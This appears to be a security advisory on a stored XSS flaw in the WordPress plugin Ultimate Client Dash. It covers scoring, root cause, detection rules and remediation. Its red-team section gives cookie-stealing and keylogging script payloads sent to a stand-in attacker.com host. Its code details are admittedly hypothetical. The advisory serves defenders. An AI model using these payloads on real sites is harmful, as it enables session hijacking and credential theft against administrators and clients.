CVE-2025-58811

Executive Summary

CVE-2025-58811 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Ultimate Client Dash" (slug: ultimate-client-dash), developed by WP CodeUs. The vulnerability exists in versions from n/a through 4.7. It allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages that will execute whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation.

Given the plugin's purpose—providing a client-facing dashboard—this vulnerability could be used to target site administrators or clients, potentially leading to session hijacking, credential theft, or defacement. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at the time of analysis, but the lack of a patch makes it a ticking time bomb for unmaintained installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. The risk is primarily to WordPress site owners who have installed this plugin. No known supply chain compromise (e.g., malicious commits or backdoored updates) has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS and the lack of a patch elevate the risk for sites using this plugin.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79). The plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it in a web page. Specifically, the ultimate-client-dash plugin likely has a custom post type, meta box, or settings page where users can input data (e.g., client names, dashboard messages, or custom fields). This input is not properly neutralized, allowing an attacker to inject JavaScript.

Attack Flow:

1. An attacker with contributor-level access (or higher) logs into the WordPress admin.
2. The attacker navigates to a vulnerable input field (e.g., a client dashboard message or custom field).
3. The attacker injects a payload such as <script>alert('XSS')</script> or a more sophisticated payload for session hijacking.
4. The payload is stored in the WordPress database.
5. When an administrator or client views the affected page, the script executes in their browser.

Root Cause: The plugin likely uses functions like echo $value; or the_content() without applying esc_html(), wp_kses(), or similar sanitization functions. The lack of output escaping allows raw HTML/JavaScript to be rendered.

Vulnerable vs. Patched Code

Since no official patch is available, we can only hypothesize the vulnerable code pattern and the required fix.

Vulnerable Code (Hypothetical):

// In a template or shortcode handler
echo '<div class="client-message">' . $client_message . '</div>';

Patched Code (Hypothetical):

// Properly escape output
echo '<div class="client-message">' . esc_html( $client_message ) . '</div>';

The fix involves using WordPress's built-in escaping functions:

• esc_html() for plain text.
• wp_kses() if a limited set of HTML tags is allowed.
• esc_attr() for attribute values.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress installation with Ultimate Client Dash <= 4.7 active.
• A user account with at least "Contributor" role.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to the vulnerable input field (e.g., "Add New Client Dashboard Message").
3. Inject a payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the entry.
5. Wait for an administrator or client to view the page. The script will execute, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
}
</script>

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual POST requests to wp-admin/admin-ajax.php or custom plugin endpoints containing script tags.
2. Review database entries in the wp_posts or wp_postmeta tables for suspicious HTML/JavaScript.
3. Use a Web Application Firewall (WAF) to block common XSS patterns.

Hunting Query (SQL):

SELECT * FROM wp_posts WHERE post_content LIKE '%<script%' OR post_content LIKE '%onerror%' OR post_content LIKE '%javascript:%';

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to known malicious domains or IPs containing cookie data.
  • Unusual Referer headers pointing to the vulnerable plugin's pages.
• Host IOCs:
  • Presence of <script> tags in database fields related to the plugin (e.g., client_message, dashboard_text).
  • Modified files in /wp-content/plugins/ultimate-client-dash/ (though the vulnerability is in stored data, not file modification).
• Log IOCs:
  • Repeated 404 errors on non-existent plugin endpoints (indicating scanning).
  • POST requests to plugin AJAX handlers with encoded payloads.

Detection Engineering

YARA Rule

rule CVE_2025_58811_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Ultimate Client Dash plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58811"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:\s*/is
        $plugin = "ultimate-client-dash"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS in Ultimate Client Dash Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in WordPress database entries for Ultimate Client Dash
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
        post_type|contains: 'client_dash'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58811 Stored XSS Payload in POST"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=client_dash_save"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. This is the most effective mitigation.
2. If disabling is not possible, restrict contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block common XSS patterns.

Long-Term Fix:

• The vendor (WP CodeUs) must release a patched version that properly escapes output using esc_html(), wp_kses(), or similar functions.
• Users should monitor the plugin's page on WordPress.org for updates.

Workaround (Code-Level): If you have developer access, you can add a filter to sanitize the vulnerable field:

add_filter( 'ultimate_client_dash_message', 'esc_html' );

Valters IT
Securing Digital Frontiers